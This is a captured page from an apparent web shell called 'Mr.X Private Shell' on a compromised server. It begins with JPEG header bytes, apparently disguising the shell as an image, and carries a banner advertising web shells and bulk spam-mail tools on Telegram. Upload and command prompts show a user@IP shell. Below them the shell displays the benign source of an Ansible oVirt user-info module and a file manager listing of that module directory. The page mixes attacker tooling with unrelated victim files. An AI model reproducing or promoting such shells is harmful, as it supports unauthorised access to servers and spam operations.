����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = '''
---
module: ovirt_user_info
short_description: Retrieve information about one or more oVirt/RHV users
version_added: "1.0.0"
author: "Ondra Machacek (@machacekondra)"
description:
    - "Retrieve information about one or more oVirt/RHV users."
    - This module was called C(ovirt_user_facts) before Ansible 2.9, returning C(ansible_facts).
      Note that the M(ovirt.ovirt.ovirt_user_info) module no longer returns C(ansible_facts)!
notes:
    - "This module returns a variable C(ovirt_users), which
       contains a list of users. You need to register the result with
       the I(register) keyword to use it."
options:
    pattern:
        description:
            - "Search term which is accepted by oVirt/RHV search backend."
            - "For example to search user X use following pattern: name=X"
        type: str
    follow:
        description:
            - List of linked entities, which should be fetched along with the main entity.
            - This parameter replaces usage of C(fetch_nested) and C(nested_attributes).
            - "All follow parameters can be found at following url: https://ovirt.github.io/ovirt-engine-api-model/master/#types/user/links_summary"
        type: list
        version_added: 1.5.0
        elements: str
        aliases: ['follows']
extends_documentation_fragment: ovirt.ovirt.ovirt_info
'''

EXAMPLES = '''
# Examples don't contain auth parameter for simplicity,
# look at ovirt_auth module to see how to reuse authentication:

# Gather information about all users which first names start with C(john):
- ovirt.ovirt.ovirt_user_info:
    pattern: name=john*
  register: result
- ansible.builtin.debug:
    msg: "{{ result.ovirt_users }}"
'''

RETURN = '''
ovirt_users:
    description: "List of dictionaries describing the users. User attributes are mapped to dictionary keys,
                  all users attributes can be found at following url: http://ovirt.github.io/ovirt-engine-api-model/master/#types/user."
    returned: On success.
    type: list
'''

import traceback

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.ovirt.ovirt.plugins.module_utils.ovirt import (
    check_sdk,
    create_connection,
    get_dict_of_struct,
    ovirt_info_full_argument_spec,
)


def main():
    argument_spec = ovirt_info_full_argument_spec(
        pattern=dict(default='', required=False),
    )
    module = AnsibleModule(
        argument_spec,
        supports_check_mode=True,
    )
    check_sdk(module)
    if module.params['fetch_nested'] or module.params['nested_attributes']:
        module.deprecate(
            "The 'fetch_nested' and 'nested_attributes' are deprecated please use 'follow' parameter",
            version='3.0.0',
            collection_name='ovirt.ovirt'
        )

    try:
        auth = module.params.pop('auth')
        connection = create_connection(auth)
        users_service = connection.system_service().users_service()
        users = users_service.list(
            search=module.params['pattern'],
            follow=",".join(module.params['follow'])
        )
        result = dict(
            ovirt_users=[
                get_dict_of_struct(
                    struct=c,
                    connection=connection,
                    fetch_nested=module.params.get('fetch_nested'),
                    attributes=module.params.get('nested_attributes'),
                ) for c in users
            ],
        )
        module.exit_json(changed=False, **result)
    except Exception as e:
        module.fail_json(msg=str(e), exception=traceback.format_exc())
    finally:
        connection.close(logout=auth.get('token') is None)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
ovirt_affinity_group.py File 13.37 KB 0644
ovirt_affinity_label.py File 6.93 KB 0644
ovirt_affinity_label_info.py File 6.94 KB 0644
ovirt_api_info.py File 3.05 KB 0644
ovirt_auth.py File 11.28 KB 0644
ovirt_cluster.py File 35.27 KB 0644
ovirt_cluster_info.py File 4.56 KB 0644
ovirt_datacenter.py File 11.43 KB 0644
ovirt_datacenter_info.py File 4.05 KB 0644
ovirt_disk.py File 41.3 KB 0644
ovirt_disk_info.py File 4.46 KB 0644
ovirt_disk_profile.py File 6.6 KB 0644
ovirt_event.py File 7.74 KB 0644
ovirt_event_info.py File 5.79 KB 0644
ovirt_external_provider.py File 14.8 KB 0644
ovirt_external_provider_info.py File 7.14 KB 0644
ovirt_group.py File 5.31 KB 0644
ovirt_group_info.py File 4.44 KB 0644
ovirt_host.py File 29.01 KB 0644
ovirt_host_info.py File 5.29 KB 0644
ovirt_host_network.py File 21.84 KB 0644
ovirt_host_pm.py File 8.32 KB 0644
ovirt_host_storage_info.py File 6.57 KB 0644
ovirt_instance_type.py File 25.52 KB 0644
ovirt_job.py File 7.48 KB 0644
ovirt_mac_pool.py File 5.28 KB 0644
ovirt_network.py File 13.64 KB 0644
ovirt_network_info.py File 4.53 KB 0644
ovirt_nic.py File 11.59 KB 0644
ovirt_nic_info.py File 5.7 KB 0644
ovirt_permission.py File 10.72 KB 0644
ovirt_permission_info.py File 5.92 KB 0644
ovirt_qos.py File 13.95 KB 0644
ovirt_quota.py File 10.98 KB 0644
ovirt_quota_info.py File 5.02 KB 0644
ovirt_role.py File 5.88 KB 0644
ovirt_scheduling_policy_info.py File 5.15 KB 0644
ovirt_snapshot.py File 19.09 KB 0644
ovirt_snapshot_info.py File 4.93 KB 0644
ovirt_storage_connection.py File 10.02 KB 0644
ovirt_storage_domain.py File 31.08 KB 0644
ovirt_storage_domain_info.py File 4.77 KB 0644
ovirt_storage_template_info.py File 5.69 KB 0644
ovirt_storage_vm_info.py File 5.5 KB 0644
ovirt_system_option_info.py File 4.49 KB 0644
ovirt_tag.py File 8.19 KB 0644
ovirt_tag_info.py File 6.11 KB 0644
ovirt_template.py File 47.02 KB 0644
ovirt_template_info.py File 4.64 KB 0644
ovirt_user.py File 6.31 KB 0644
ovirt_user_info.py File 4.42 KB 0644
ovirt_vm.py File 124.17 KB 0644
ovirt_vm_info.py File 7.15 KB 0644
ovirt_vm_os_info.py File 4.81 KB 0644
ovirt_vmpool.py File 19.17 KB 0644
ovirt_vmpool_info.py File 4.48 KB 0644
ovirt_vnic_profile.py File 11.95 KB 0644
ovirt_vnic_profile_info.py File 4.52 KB 0644